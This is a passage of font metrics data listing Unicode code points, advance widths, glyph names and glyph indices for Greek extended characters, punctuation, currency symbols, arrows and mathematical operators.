U 8094 ; WX 934 ; N uni1F9E ; G 2698
U 8095 ; WX 947 ; N uni1F9F ; G 2699
U 8096 ; WX 837 ; N uni1FA0 ; G 2700
U 8097 ; WX 837 ; N uni1FA1 ; G 2701
U 8098 ; WX 837 ; N uni1FA2 ; G 2702
U 8099 ; WX 837 ; N uni1FA3 ; G 2703
U 8100 ; WX 837 ; N uni1FA4 ; G 2704
U 8101 ; WX 837 ; N uni1FA5 ; G 2705
U 8102 ; WX 837 ; N uni1FA6 ; G 2706
U 8103 ; WX 837 ; N uni1FA7 ; G 2707
U 8104 ; WX 802 ; N uni1FA8 ; G 2708
U 8105 ; WX 843 ; N uni1FA9 ; G 2709
U 8106 ; WX 1089 ; N uni1FAA ; G 2710
U 8107 ; WX 1095 ; N uni1FAB ; G 2711
U 8108 ; WX 946 ; N uni1FAC ; G 2712
U 8109 ; WX 972 ; N uni1FAD ; G 2713
U 8110 ; WX 921 ; N uni1FAE ; G 2714
U 8111 ; WX 952 ; N uni1FAF ; G 2715
U 8112 ; WX 659 ; N uni1FB0 ; G 2716
U 8113 ; WX 659 ; N uni1FB1 ; G 2717
U 8114 ; WX 659 ; N uni1FB2 ; G 2718
U 8115 ; WX 659 ; N uni1FB3 ; G 2719
U 8116 ; WX 659 ; N uni1FB4 ; G 2720
U 8118 ; WX 659 ; N uni1FB6 ; G 2721
U 8119 ; WX 659 ; N uni1FB7 ; G 2722
U 8120 ; WX 684 ; N uni1FB8 ; G 2723
U 8121 ; WX 684 ; N uni1FB9 ; G 2724
U 8122 ; WX 716 ; N uni1FBA ; G 2725
U 8123 ; WX 692 ; N uni1FBB ; G 2726
U 8124 ; WX 684 ; N uni1FBC ; G 2727
U 8125 ; WX 500 ; N uni1FBD ; G 2728
U 8126 ; WX 500 ; N uni1FBE ; G 2729
U 8127 ; WX 500 ; N uni1FBF ; G 2730
U 8128 ; WX 500 ; N uni1FC0 ; G 2731
U 8129 ; WX 500 ; N uni1FC1 ; G 2732
U 8130 ; WX 634 ; N uni1FC2 ; G 2733
U 8131 ; WX 634 ; N uni1FC3 ; G 2734
U 8132 ; WX 654 ; N uni1FC4 ; G 2735
U 8134 ; WX 634 ; N uni1FC6 ; G 2736
U 8135 ; WX 634 ; N uni1FC7 ; G 2737
U 8136 ; WX 805 ; N uni1FC8 ; G 2738
U 8137 ; WX 746 ; N uni1FC9 ; G 2739
U 8138 ; WX 931 ; N uni1FCA ; G 2740
U 8139 ; WX 871 ; N uni1FCB ; G 2741
U 8140 ; WX 752 ; N uni1FCC ; G 2742
U 8141 ; WX 500 ; N uni1FCD ; G 2743
U 8142 ; WX 500 ; N uni1FCE ; G 2744
U 8143 ; WX 500 ; N uni1FCF ; G 2745
U 8144 ; WX 338 ; N uni1FD0 ; G 2746
U 8145 ; WX 338 ; N uni1FD1 ; G 2747
U 8146 ; WX 338 ; N uni1FD2 ; G 2748
U 8147 ; WX 338 ; N uni1FD3 ; G 2749
U 8150 ; WX 338 ; N uni1FD6 ; G 2750
U 8151 ; WX 338 ; N uni1FD7 ; G 2751
U 8152 ; WX 295 ; N uni1FD8 ; G 2752
U 8153 ; WX 295 ; N uni1FD9 ; G 2753
U 8154 ; WX 475 ; N uni1FDA ; G 2754
U 8155 ; WX 408 ; N uni1FDB ; G 2755
U 8157 ; WX 500 ; N uni1FDD ; G 2756
U 8158 ; WX 500 ; N uni1FDE ; G 2757
U 8159 ; WX 500 ; N uni1FDF ; G 2758
U 8160 ; WX 579 ; N uni1FE0 ; G 2759
U 8161 ; WX 579 ; N uni1FE1 ; G 2760
U 8162 ; WX 579 ; N uni1FE2 ; G 2761
U 8163 ; WX 579 ; N uni1FE3 ; G 2762
U 8164 ; WX 635 ; N uni1FE4 ; G 2763
U 8165 ; WX 635 ; N uni1FE5 ; G 2764
U 8166 ; WX 579 ; N uni1FE6 ; G 2765
U 8167 ; WX 579 ; N uni1FE7 ; G 2766
U 8168 ; WX 611 ; N uni1FE8 ; G 2767
U 8169 ; WX 611 ; N uni1FE9 ; G 2768
U 8170 ; WX 845 ; N uni1FEA ; G 2769
U 8171 ; WX 825 ; N uni1FEB ; G 2770
U 8172 ; WX 685 ; N uni1FEC ; G 2771
U 8173 ; WX 500 ; N uni1FED ; G 2772
U 8174 ; WX 500 ; N uni1FEE ; G 2773
U 8175 ; WX 500 ; N uni1FEF ; G 2774
U 8178 ; WX 837 ; N uni1FF2 ; G 2775
U 8179 ; WX 837 ; N uni1FF3 ; G 2776
U 8180 ; WX 837 ; N uni1FF4 ; G 2777
U 8182 ; WX 837 ; N uni1FF6 ; G 2778
U 8183 ; WX 837 ; N uni1FF7 ; G 2779
U 8184 ; WX 941 ; N uni1FF8 ; G 2780
U 8185 ; WX 813 ; N uni1FF9 ; G 2781
U 8186 ; WX 922 ; N uni1FFA ; G 2782
U 8187 ; WX 826 ; N uni1FFB ; G 2783
U 8188 ; WX 764 ; N uni1FFC ; G 2784
U 8189 ; WX 500 ; N uni1FFD ; G 2785
U 8190 ; WX 500 ; N uni1FFE ; G 2786
U 8192 ; WX 500 ; N uni2000 ; G 2787
U 8193 ; WX 1000 ; N uni2001 ; G 2788
U 8194 ; WX 500 ; N uni2002 ; G 2789
U 8195 ; WX 1000 ; N uni2003 ; G 2790
U 8196 ; WX 330 ; N uni2004 ; G 2791
U 8197 ; WX 250 ; N uni2005 ; G 2792
U 8198 ; WX 167 ; N uni2006 ; G 2793
U 8199 ; WX 636 ; N uni2007 ; G 2794
U 8200 ; WX 318 ; N uni2008 ; G 2795
U 8201 ; WX 200 ; N uni2009 ; G 2796
U 8202 ; WX 100 ; N uni200A ; G 2797
U 8203 ; WX 0 ; N uni200B ; G 2798
U 8204 ; WX 0 ; N uni200C ; G 2799
U 8205 ; WX 0 ; N uni200D ; G 2800
U 8206 ; WX 0 ; N uni200E ; G 2801
U 8207 ; WX 0 ; N uni200F ; G 2802
U 8208 ; WX 361 ; N uni2010 ; G 2803
U 8209 ; WX 361 ; N uni2011 ; G 2804
U 8210 ; WX 636 ; N figuredash ; G 2805
U 8211 ; WX 500 ; N endash ; G 2806
U 8212 ; WX 1000 ; N emdash ; G 2807
U 8213 ; WX 1000 ; N uni2015 ; G 2808
U 8214 ; WX 500 ; N uni2016 ; G 2809
U 8215 ; WX 500 ; N underscoredbl ; G 2810
U 8216 ; WX 318 ; N quoteleft ; G 2811
U 8217 ; WX 318 ; N quoteright ; G 2812
U 8218 ; WX 318 ; N quotesinglbase ; G 2813
U 8219 ; WX 318 ; N quotereversed ; G 2814
U 8220 ; WX 518 ; N quotedblleft ; G 2815
U 8221 ; WX 518 ; N quotedblright ; G 2816
U 8222 ; WX 518 ; N quotedblbase ; G 2817
U 8223 ; WX 518 ; N uni201F ; G 2818
U 8224 ; WX 500 ; N dagger ; G 2819
U 8225 ; WX 500 ; N daggerdbl ; G 2820
U 8226 ; WX 590 ; N bullet ; G 2821
U 8227 ; WX 590 ; N uni2023 ; G 2822
U 8228 ; WX 334 ; N onedotenleader ; G 2823
U 8229 ; WX 667 ; N twodotenleader ; G 2824
U 8230 ; WX 1000 ; N ellipsis ; G 2825
U 8231 ; WX 318 ; N uni2027 ; G 2826
U 8232 ; WX 0 ; N uni2028 ; G 2827
U 8233 ; WX 0 ; N uni2029 ; G 2828
U 8234 ; WX 0 ; N uni202A ; G 2829
U 8235 ; WX 0 ; N uni202B ; G 2830
U 8236 ; WX 0 ; N uni202C ; G 2831
U 8237 ; WX 0 ; N uni202D ; G 2832
U 8238 ; WX 0 ; N uni202E ; G 2833
U 8239 ; WX 200 ; N uni202F ; G 2834
U 8240 ; WX 1342 ; N perthousand ; G 2835
U 8241 ; WX 1735 ; N uni2031 ; G 2836
U 8242 ; WX 227 ; N minute ; G 2837
U 8243 ; WX 374 ; N second ; G 2838
U 8244 ; WX 520 ; N uni2034 ; G 2839
U 8245 ; WX 227 ; N uni2035 ; G 2840
U 8246 ; WX 374 ; N uni2036 ; G 2841
U 8247 ; WX 520 ; N uni2037 ; G 2842
U 8248 ; WX 339 ; N uni2038 ; G 2843
U 8249 ; WX 400 ; N guilsinglleft ; G 2844
U 8250 ; WX 400 ; N guilsinglright ; G 2845
U 8251 ; WX 838 ; N uni203B ; G 2846
U 8252 ; WX 485 ; N exclamdbl ; G 2847
U 8253 ; WX 531 ; N uni203D ; G 2848
U 8254 ; WX 500 ; N uni203E ; G 2849
U 8255 ; WX 804 ; N uni203F ; G 2850
U 8256 ; WX 804 ; N uni2040 ; G 2851
U 8257 ; WX 250 ; N uni2041 ; G 2852
U 8258 ; WX 1000 ; N uni2042 ; G 2853
U 8259 ; WX 500 ; N uni2043 ; G 2854
U 8260 ; WX 167 ; N fraction ; G 2855
U 8261 ; WX 390 ; N uni2045 ; G 2856
U 8262 ; WX 390 ; N uni2046 ; G 2857
U 8263 ; WX 922 ; N uni2047 ; G 2858
U 8264 ; WX 733 ; N uni2048 ; G 2859
U 8265 ; WX 733 ; N uni2049 ; G 2860
U 8266 ; WX 497 ; N uni204A ; G 2861
U 8267 ; WX 636 ; N uni204B ; G 2862
U 8268 ; WX 500 ; N uni204C ; G 2863
U 8269 ; WX 500 ; N uni204D ; G 2864
U 8270 ; WX 500 ; N uni204E ; G 2865
U 8271 ; WX 337 ; N uni204F ; G 2866
U 8272 ; WX 804 ; N uni2050 ; G 2867
U 8273 ; WX 500 ; N uni2051 ; G 2868
U 8274 ; WX 450 ; N uni2052 ; G 2869
U 8275 ; WX 1000 ; N uni2053 ; G 2870
U 8276 ; WX 804 ; N uni2054 ; G 2871
U 8277 ; WX 838 ; N uni2055 ; G 2872
U 8278 ; WX 586 ; N uni2056 ; G 2873
U 8279 ; WX 663 ; N uni2057 ; G 2874
U 8280 ; WX 838 ; N uni2058 ; G 2875
U 8281 ; WX 838 ; N uni2059 ; G 2876
U 8282 ; WX 318 ; N uni205A ; G 2877
U 8283 ; WX 797 ; N uni205B ; G 2878
U 8284 ; WX 838 ; N uni205C ; G 2879
U 8285 ; WX 318 ; N uni205D ; G 2880
U 8286 ; WX 318 ; N uni205E ; G 2881
U 8287 ; WX 222 ; N uni205F ; G 2882
U 8288 ; WX 0 ; N uni2060 ; G 2883
U 8289 ; WX 0 ; N uni2061 ; G 2884
U 8290 ; WX 0 ; N uni2062 ; G 2885
U 8291 ; WX 0 ; N uni2063 ; G 2886
U 8292 ; WX 0 ; N uni2064 ; G 2887
U 8298 ; WX 0 ; N uni206A ; G 2888
U 8299 ; WX 0 ; N uni206B ; G 2889
U 8300 ; WX 0 ; N uni206C ; G 2890
U 8301 ; WX 0 ; N uni206D ; G 2891
U 8302 ; WX 0 ; N uni206E ; G 2892
U 8303 ; WX 0 ; N uni206F ; G 2893
U 8304 ; WX 401 ; N uni2070 ; G 2894
U 8305 ; WX 179 ; N uni2071 ; G 2895
U 8308 ; WX 401 ; N uni2074 ; G 2896
U 8309 ; WX 401 ; N uni2075 ; G 2897
U 8310 ; WX 401 ; N uni2076 ; G 2898
U 8311 ; WX 401 ; N uni2077 ; G 2899
U 8312 ; WX 401 ; N uni2078 ; G 2900
U 8313 ; WX 401 ; N uni2079 ; G 2901
U 8314 ; WX 528 ; N uni207A ; G 2902
U 8315 ; WX 528 ; N uni207B ; G 2903
U 8316 ; WX 528 ; N uni207C ; G 2904
U 8317 ; WX 246 ; N uni207D ; G 2905
U 8318 ; WX 246 ; N uni207E ; G 2906
U 8319 ; WX 398 ; N uni207F ; G 2907
U 8320 ; WX 401 ; N uni2080 ; G 2908
U 8321 ; WX 401 ; N uni2081 ; G 2909
U 8322 ; WX 401 ; N uni2082 ; G 2910
U 8323 ; WX 401 ; N uni2083 ; G 2911
U 8324 ; WX 401 ; N uni2084 ; G 2912
U 8325 ; WX 401 ; N uni2085 ; G 2913
U 8326 ; WX 401 ; N uni2086 ; G 2914
U 8327 ; WX 401 ; N uni2087 ; G 2915
U 8328 ; WX 401 ; N uni2088 ; G 2916
U 8329 ; WX 401 ; N uni2089 ; G 2917
U 8330 ; WX 528 ; N uni208A ; G 2918
U 8331 ; WX 528 ; N uni208B ; G 2919
U 8332 ; WX 528 ; N uni208C ; G 2920
U 8333 ; WX 246 ; N uni208D ; G 2921
U 8334 ; WX 246 ; N uni208E ; G 2922
U 8336 ; WX 392 ; N uni2090 ; G 2923
U 8337 ; WX 417 ; N uni2091 ; G 2924
U 8338 ; WX 414 ; N uni2092 ; G 2925
U 8339 ; WX 444 ; N uni2093 ; G 2926
U 8340 ; WX 417 ; N uni2094 ; G 2927
U 8341 ; WX 404 ; N uni2095 ; G 2928
U 8342 ; WX 426 ; N uni2096 ; G 2929
U 8343 ; WX 166 ; N uni2097 ; G 2930
U 8344 ; WX 623 ; N uni2098 ; G 2931
U 8345 ; WX 398 ; N uni2099 ; G 2932
U 8346 ; WX 428 ; N uni209A ; G 2933
U 8347 ; WX 373 ; N uni209B ; G 2934
U 8348 ; WX 295 ; N uni209C ; G 2935
U 8352 ; WX 877 ; N uni20A0 ; G 2936
U 8353 ; WX 636 ; N colonmonetary ; G 2937
U 8354 ; WX 636 ; N uni20A2 ; G 2938
U 8355 ; WX 636 ; N franc ; G 2939
U 8356 ; WX 636 ; N lira ; G 2940
U 8357 ; WX 974 ; N uni20A5 ; G 2941
U 8358 ; WX 636 ; N uni20A6 ; G 2942
U 8359 ; WX 1272 ; N peseta ; G 2943
U 8360 ; WX 1074 ; N uni20A8 ; G 2944
U 8361 ; WX 989 ; N uni20A9 ; G 2945
U 8362 ; WX 784 ; N uni20AA ; G 2946
U 8363 ; WX 636 ; N dong ; G 2947
U 8364 ; WX 636 ; N Euro ; G 2948
U 8365 ; WX 636 ; N uni20AD ; G 2949
U 8366 ; WX 636 ; N uni20AE ; G 2950
U 8367 ; WX 1272 ; N uni20AF ; G 2951
U 8368 ; WX 636 ; N uni20B0 ; G 2952
U 8369 ; WX 636 ; N uni20B1 ; G 2953
U 8370 ; WX 636 ; N uni20B2 ; G 2954
U 8371 ; WX 636 ; N uni20B3 ; G 2955
U 8372 ; WX 774 ; N uni20B4 ; G 2956
U 8373 ; WX 636 ; N uni20B5 ; G 2957
U 8376 ; WX 636 ; N uni20B8 ; G 2958
U 8377 ; WX 636 ; N uni20B9 ; G 2959
U 8378 ; WX 636 ; N uni20BA ; G 2960
U 8381 ; WX 636 ; N uni20BD ; G 2961
U 8400 ; WX 0 ; N uni20D0 ; G 2962
U 8401 ; WX 0 ; N uni20D1 ; G 2963
U 8406 ; WX 0 ; N uni20D6 ; G 2964
U 8407 ; WX 0 ; N uni20D7 ; G 2965
U 8411 ; WX 0 ; N uni20DB ; G 2966
U 8412 ; WX 0 ; N uni20DC ; G 2967
U 8417 ; WX 0 ; N uni20E1 ; G 2968
U 8448 ; WX 1019 ; N uni2100 ; G 2969
U 8449 ; WX 1019 ; N uni2101 ; G 2970
U 8450 ; WX 698 ; N uni2102 ; G 2971
U 8451 ; WX 1123 ; N uni2103 ; G 2972
U 8452 ; WX 642 ; N uni2104 ; G 2973
U 8453 ; WX 1019 ; N uni2105 ; G 2974
U 8454 ; WX 1067 ; N uni2106 ; G 2975
U 8455 ; WX 614 ; N uni2107 ; G 2976
U 8456 ; WX 698 ; N uni2108 ; G 2977
U 8457 ; WX 952 ; N uni2109 ; G 2978
U 8459 ; WX 988 ; N uni210B ; G 2979
U 8460 ; WX 754 ; N uni210C ; G 2980
U 8461 ; WX 850 ; N uni210D ; G 2981
U 8462 ; WX 634 ; N uni210E ; G 2982
U 8463 ; WX 634 ; N uni210F ; G 2983
U 8464 ; WX 470 ; N uni2110 ; G 2984
U 8465 ; WX 697 ; N Ifraktur ; G 2985
U 8466 ; WX 720 ; N uni2112 ; G 2986
U 8467 ; WX 413 ; N uni2113 ; G 2987
U 8468 ; WX 818 ; N uni2114 ; G 2988
U 8469 ; WX 801 ; N uni2115 ; G 2989
U 8470 ; WX 1040 ; N uni2116 ; G 2990
U 8471 ; WX 1000 ; N uni2117 ; G 2991
U 8472 ; WX 697 ; N weierstrass ; G 2992
U 8473 ; WX 701 ; N uni2119 ; G 2993
U 8474 ; WX 787 ; N uni211A ; G 2994
U 8475 ; WX 798 ; N uni211B ; G 2995
U 8476 ; WX 814 ; N Rfraktur ; G 2996
U 8477 ; WX 792 ; N uni211D ; G 2997
U 8478 ; WX 896 ; N prescription ; G 2998
U 8479 ; WX 684 ; N uni211F ; G 2999
U 8480 ; WX 1020 ; N uni2120 ; G 3000
U 8481 ; WX 1074 ; N uni2121 ; G 3001
U 8482 ; WX 1000 ; N trademark ; G 3002
U 8483 ; WX 684 ; N uni2123 ; G 3003
U 8484 ; WX 745 ; N uni2124 ; G 3004
U 8485 ; WX 578 ; N uni2125 ; G 3005
U 8486 ; WX 764 ; N uni2126 ; G 3006
U 8487 ; WX 764 ; N uni2127 ; G 3007
U 8488 ; WX 616 ; N uni2128 ; G 3008
U 8489 ; WX 338 ; N uni2129 ; G 3009
U 8490 ; WX 656 ; N uni212A ; G 3010
U 8491 ; WX 684 ; N uni212B ; G 3011
U 8492 ; WX 786 ; N uni212C ; G 3012
U 8493 ; WX 703 ; N uni212D ; G 3013
U 8494 ; WX 854 ; N estimated ; G 3014
U 8495 ; WX 592 ; N uni212F ; G 3015
U 8496 ; WX 605 ; N uni2130 ; G 3016
U 8497 ; WX 786 ; N uni2131 ; G 3017
U 8498 ; WX 575 ; N uni2132 ; G 3018
U 8499 ; WX 1069 ; N uni2133 ; G 3019
U 8500 ; WX 462 ; N uni2134 ; G 3020
U 8501 ; WX 745 ; N aleph ; G 3021
U 8502 ; WX 674 ; N uni2136 ; G 3022
U 8503 ; WX 466 ; N uni2137 ; G 3023
U 8504 ; WX 645 ; N uni2138 ; G 3024
U 8505 ; WX 380 ; N uni2139 ; G 3025
U 8506 ; WX 926 ; N uni213A ; G 3026
U 8507 ; WX 1194 ; N uni213B ; G 3027
U 8508 ; WX 702 ; N uni213C ; G 3028
U 8509 ; WX 728 ; N uni213D ; G 3029
U 8510 ; WX 654 ; N uni213E ; G 3030
U 8511 ; WX 849 ; N uni213F ; G 3031
U 8512 ; WX 811 ; N uni2140 ; G 3032
U 8513 ; WX 775 ; N uni2141 ; G 3033
U 8514 ; WX 557 ; N uni2142 ; G 3034
U 8515 ; WX 557 ; N uni2143 ; G 3035
U 8516 ; WX 611 ; N uni2144 ; G 3036
U 8517 ; WX 819 ; N uni2145 ; G 3037
U 8518 ; WX 708 ; N uni2146 ; G 3038
U 8519 ; WX 615 ; N uni2147 ; G 3039
U 8520 ; WX 351 ; N uni2148 ; G 3040
U 8521 ; WX 351 ; N uni2149 ; G 3041
U 8523 ; WX 780 ; N uni214B ; G 3042
U 8526 ; WX 526 ; N uni214E ; G 3043
U 8528 ; WX 969 ; N uni2150 ; G 3044
U 8529 ; WX 969 ; N uni2151 ; G 3045
U 8530 ; WX 1370 ; N uni2152 ; G 3046
U 8531 ; WX 969 ; N onethird ; G 3047
U 8532 ; WX 969 ; N twothirds ; G 3048
U 8533 ; WX 969 ; N uni2155 ; G 3049
U 8534 ; WX 969 ; N uni2156 ; G 3050
U 8535 ; WX 969 ; N uni2157 ; G 3051
U 8536 ; WX 969 ; N uni2158 ; G 3052
U 8537 ; WX 969 ; N uni2159 ; G 3053
U 8538 ; WX 969 ; N uni215A ; G 3054
U 8539 ; WX 969 ; N oneeighth ; G 3055
U 8540 ; WX 969 ; N threeeighths ; G 3056
U 8541 ; WX 969 ; N fiveeighths ; G 3057
U 8542 ; WX 969 ; N seveneighths ; G 3058
U 8543 ; WX 568 ; N uni215F ; G 3059
U 8544 ; WX 295 ; N uni2160 ; G 3060
U 8545 ; WX 492 ; N uni2161 ; G 3061
U 8546 ; WX 689 ; N uni2162 ; G 3062
U 8547 ; WX 923 ; N uni2163 ; G 3063
U 8548 ; WX 684 ; N uni2164 ; G 3064
U 8549 ; WX 922 ; N uni2165 ; G 3065
U 8550 ; WX 1120 ; N uni2166 ; G 3066
U 8551 ; WX 1317 ; N uni2167 ; G 3067
U 8552 ; WX 917 ; N uni2168 ; G 3068
U 8553 ; WX 685 ; N uni2169 ; G 3069
U 8554 ; WX 933 ; N uni216A ; G 3070
U 8555 ; WX 1131 ; N uni216B ; G 3071
U 8556 ; WX 557 ; N uni216C ; G 3072
U 8557 ; WX 698 ; N uni216D ; G 3073
U 8558 ; WX 770 ; N uni216E ; G 3074
U 8559 ; WX 863 ; N uni216F ; G 3075
U 8560 ; WX 278 ; N uni2170 ; G 3076
U 8561 ; WX 458 ; N uni2171 ; G 3077
U 8562 ; WX 637 ; N uni2172 ; G 3078
U 8563 ; WX 812 ; N uni2173 ; G 3079
U 8564 ; WX 592 ; N uni2174 ; G 3080
U 8565 ; WX 811 ; N uni2175 ; G 3081
U 8566 ; WX 991 ; N uni2176 ; G 3082
U 8567 ; WX 1170 ; N uni2177 ; G 3083
U 8568 ; WX 819 ; N uni2178 ; G 3084
U 8569 ; WX 592 ; N uni2179 ; G 3085
U 8570 ; WX 822 ; N uni217A ; G 3086
U 8571 ; WX 1002 ; N uni217B ; G 3087
U 8572 ; WX 278 ; N uni217C ; G 3088
U 8573 ; WX 550 ; N uni217D ; G 3089
U 8574 ; WX 635 ; N uni217E ; G 3090
U 8575 ; WX 974 ; N uni217F ; G 3091
U 8576 ; WX 1245 ; N uni2180 ; G 3092
U 8577 ; WX 770 ; N uni2181 ; G 3093
U 8578 ; WX 1245 ; N uni2182 ; G 3094
U 8579 ; WX 703 ; N uni2183 ; G 3095
U 8580 ; WX 549 ; N uni2184 ; G 3096
U 8581 ; WX 698 ; N uni2185 ; G 3097
U 8585 ; WX 969 ; N uni2189 ; G 3098
U 8592 ; WX 838 ; N arrowleft ; G 3099
U 8593 ; WX 838 ; N arrowup ; G 3100
U 8594 ; WX 838 ; N arrowright ; G 3101
U 8595 ; WX 838 ; N arrowdown ; G 3102
U 8596 ; WX 838 ; N arrowboth ; G 3103
U 8597 ; WX 838 ; N arrowupdn ; G 3104
U 8598 ; WX 838 ; N uni2196 ; G 3105
U 8599 ; WX 838 ; N uni2197 ; G 3106
U 8600 ; WX 838 ; N uni2198 ; G 3107
U 8601 ; WX 838 ; N uni2199 ; G 3108
U 8602 ; WX 838 ; N uni219A ; G 3109
U 8603 ; WX 838 ; N uni219B ; G 3110
U 8604 ; WX 838 ; N uni219C ; G 3111
U 8605 ; WX 838 ; N uni219D ; G 3112
U 8606 ; WX 838 ; N uni219E ; G 3113
U 8607 ; WX 838 ; N uni219F ; G 3114
U 8608 ; WX 838 ; N uni21A0 ; G 3115
U 8609 ; WX 838 ; N uni21A1 ; G 3116
U 8610 ; WX 838 ; N uni21A2 ; G 3117
U 8611 ; WX 838 ; N uni21A3 ; G 3118
U 8612 ; WX 838 ; N uni21A4 ; G 3119
U 8613 ; WX 838 ; N uni21A5 ; G 3120
U 8614 ; WX 838 ; N uni21A6 ; G 3121
U 8615 ; WX 838 ; N uni21A7 ; G 3122
U 8616 ; WX 838 ; N arrowupdnbse ; G 3123
U 8617 ; WX 838 ; N uni21A9 ; G 3124
U 8618 ; WX 838 ; N uni21AA ; G 3125
U 8619 ; WX 838 ; N uni21AB ; G 3126
U 8620 ; WX 838 ; N uni21AC ; G 3127
U 8621 ; WX 838 ; N uni21AD ; G 3128
U 8622 ; WX 838 ; N uni21AE ; G 3129
U 8623 ; WX 838 ; N uni21AF ; G 3130
U 8624 ; WX 838 ; N uni21B0 ; G 3131
U 8625 ; WX 838 ; N uni21B1 ; G 3132
U 8626 ; WX 838 ; N uni21B2 ; G 3133
U 8627 ; WX 838 ; N uni21B3 ; G 3134
U 8628 ; WX 838 ; N uni21B4 ; G 3135
U 8629 ; WX 838 ; N carriagereturn ; G 3136
U 8630 ; WX 838 ; N uni21B6 ; G 3137
U 8631 ; WX 838 ; N uni21B7 ; G 3138
U 8632 ; WX 838 ; N uni21B8 ; G 3139
U 8633 ; WX 838 ; N uni21B9 ; G 3140
U 8634 ; WX 838 ; N uni21BA ; G 3141
U 8635 ; WX 838 ; N uni21BB ; G 3142
U 8636 ; WX 838 ; N uni21BC ; G 3143
U 8637 ; WX 838 ; N uni21BD ; G 3144
U 8638 ; WX 838 ; N uni21BE ; G 3145
U 8639 ; WX 838 ; N uni21BF ; G 3146
U 8640 ; WX 838 ; N uni21C0 ; G 3147
U 8641 ; WX 838 ; N uni21C1 ; G 3148
U 8642 ; WX 838 ; N uni21C2 ; G 3149
U 8643 ; WX 838 ; N uni21C3 ; G 3150
U 8644 ; WX 838 ; N uni21C4 ; G 3151
U 8645 ; WX 838 ; N uni21C5 ; G 3152
U 8646 ; WX 838 ; N uni21C6 ; G 3153
U 8647 ; WX 838 ; N uni21C7 ; G 3154
U 8648 ; WX 838 ; N uni21C8 ; G 3155
U 8649 ; WX 838 ; N uni21C9 ; G 3156
U 8650 ; WX 838 ; N uni21CA ; G 3157
U 8651 ; WX 838 ; N uni21CB ; G 3158
U 8652 ; WX 838 ; N uni21CC ; G 3159
U 8653 ; WX 838 ; N uni21CD ; G 3160
U 8654 ; WX 838 ; N uni21CE ; G 3161
U 8655 ; WX 838 ; N uni21CF ; G 3162
U 8656 ; WX 838 ; N arrowdblleft ; G 3163
U 8657 ; WX 838 ; N arrowdblup ; G 3164
U 8658 ; WX 838 ; N arrowdblright ; G 3165
U 8659 ; WX 838 ; N arrowdbldown ; G 3166
U 8660 ; WX 838 ; N arrowdblboth ; G 3167
U 8661 ; WX 838 ; N uni21D5 ; G 3168
U 8662 ; WX 838 ; N uni21D6 ; G 3169
U 8663 ; WX 838 ; N uni21D7 ; G 3170
U 8664 ; WX 838 ; N uni21D8 ; G 3171
U 8665 ; WX 838 ; N uni21D9 ; G 3172
U 8666 ; WX 838 ; N uni21DA ; G 3173
U 8667 ; WX 838 ; N uni21DB ; G 3174
U 8668 ; WX 838 ; N uni21DC ; G 3175
U 8669 ; WX 838 ; N uni21DD ; G 3176
U 8670 ; WX 838 ; N uni21DE ; G 3177
U 8671 ; WX 838 ; N uni21DF ; G 3178
U 8672 ; WX 838 ; N uni21E0 ; G 3179
U 8673 ; WX 838 ; N uni21E1 ; G 3180
U 8674 ; WX 838 ; N uni21E2 ; G 3181
U 8675 ; WX 838 ; N uni21E3 ; G 3182
U 8676 ; WX 838 ; N uni21E4 ; G 3183
U 8677 ; WX 838 ; N uni21E5 ; G 3184
U 8678 ; WX 838 ; N uni21E6 ; G 3185
U 8679 ; WX 838 ; N uni21E7 ; G 3186
U 8680 ; WX 838 ; N uni21E8 ; G 3187
U 8681 ; WX 838 ; N uni21E9 ; G 3188
U 8682 ; WX 838 ; N uni21EA ; G 3189
U 8683 ; WX 838 ; N uni21EB ; G 3190
U 8684 ; WX 838 ; N uni21EC ; G 3191
U 8685 ; WX 838 ; N uni21ED ; G 3192
U 8686 ; WX 838 ; N uni21EE ; G 3193
U 8687 ; WX 838 ; N uni21EF ; G 3194
U 8688 ; WX 838 ; N uni21F0 ; G 3195
U 8689 ; WX 838 ; N uni21F1 ; G 3196
U 8690 ; WX 838 ; N uni21F2 ; G 3197
U 8691 ; WX 838 ; N uni21F3 ; G 3198
U 8692 ; WX 838 ; N uni21F4 ; G 3199
U 8693 ; WX 838 ; N uni21F5 ; G 3200
U 8694 ; WX 838 ; N uni21F6 ; G 3201
U 8695 ; WX 838 ; N uni21F7 ; G 3202
U 8696 ; WX 838 ; N uni21F8 ; G 3203
U 8697 ; WX 838 ; N uni21F9 ; G 3204
U 8698 ; WX 838 ; N uni21FA ; G 3205
U 8699 ; WX 838 ; N uni21FB ; G 3206
U 8700 ; WX 838 ; N uni21FC ; G 3207
U 8701 ; WX 838 ; N uni21FD ; G 3208
U 8702 ; WX 838 ; N uni21FE ; G 3209
U 8703 ; WX 838 ; N uni21FF ; G 3210
U 8704 ; WX 684 ; N universal ; G 3211
U 8705 ; WX 636 ; N uni2201 ; G 3212
U 8706 ; WX 517 ; N partialdiff ; G 3213
U 8707 ; WX 632 ; N existential ; G 3214
U 8708 ; WX 632 ; N uni2204 ; G 3215
U 8709 ; WX 871 ; N emptyset ; G 3216
U 8710 ; WX 669 ; N increment ; G 3217
U 8711 ; WX 669 ; N gradient ; G 3218
U 8712 ; WX 871 ; N element ; G 3219
U 8713 ; WX 871 ; N notelement ; G 3220
U 8714 ; WX 718 ; N uni220A ; G 3221
U 8715 ; WX 871 ; N suchthat ; G 3222
U 8716 ; WX 871 ; N uni220C ; G 3223
U 8717 ; WX 718 ; N uni220D ; G 3224
U 8718 ; WX 636 ; N uni220E ; G 3225
U 8719 ; WX 757 ; N product ; G 3226
U 8720 ; WX 757 ; N uni2210 ; G 3227
U 8721 ; WX 674 ; N summation ; G 3228
U 8722 ; WX 838 ; N minus ; G 3229
U 8723 ; WX 838 ; N uni2213 ; G 3230
U 8724 ; WX 838 ; N uni2214 ; G 3231
U 8725 ; WX 337 ; N uni2215 ; G 3232
U 8726 ; WX 637 ; N uni2216 ; G 3233
U 8727 ; WX 838 ; N asteriskmath ; G 3234
U 8728 ; WX 626 ; N uni2218 ; G 3235
U 8729 ; WX 626 ; N uni2219 ; G 3236
U 8730 ; WX 637 ; N radical ; G 3237
U 8731 ; WX 637 ; N uni221B ; G 3238
U 8732 ; WX 637 ; N uni221C ; G 3239
U 8733 ; WX 714 ; N proportional ; G 3240
U 8734 ; WX 833 ; N infinity ; G 3241
U 8735 ; WX 838 ; N orthogonal ; G 3242
U 8736 ; WX 896 ; N angle ; G 3243
U 8737 ; WX 896 ; N uni2221 ; G 3244
U 8738 ; WX 838 ; N uni2222 ; G 3245
U 8739 ; WX 500 ; N uni2223 ; G 3246
U 8740 ; WX 500 ; N uni2224 ; G 3247
U 8741 ; WX 500 ; N uni2225 ; G 3248
U 8742 ; WX 500 ; N uni2226 ; G 3249
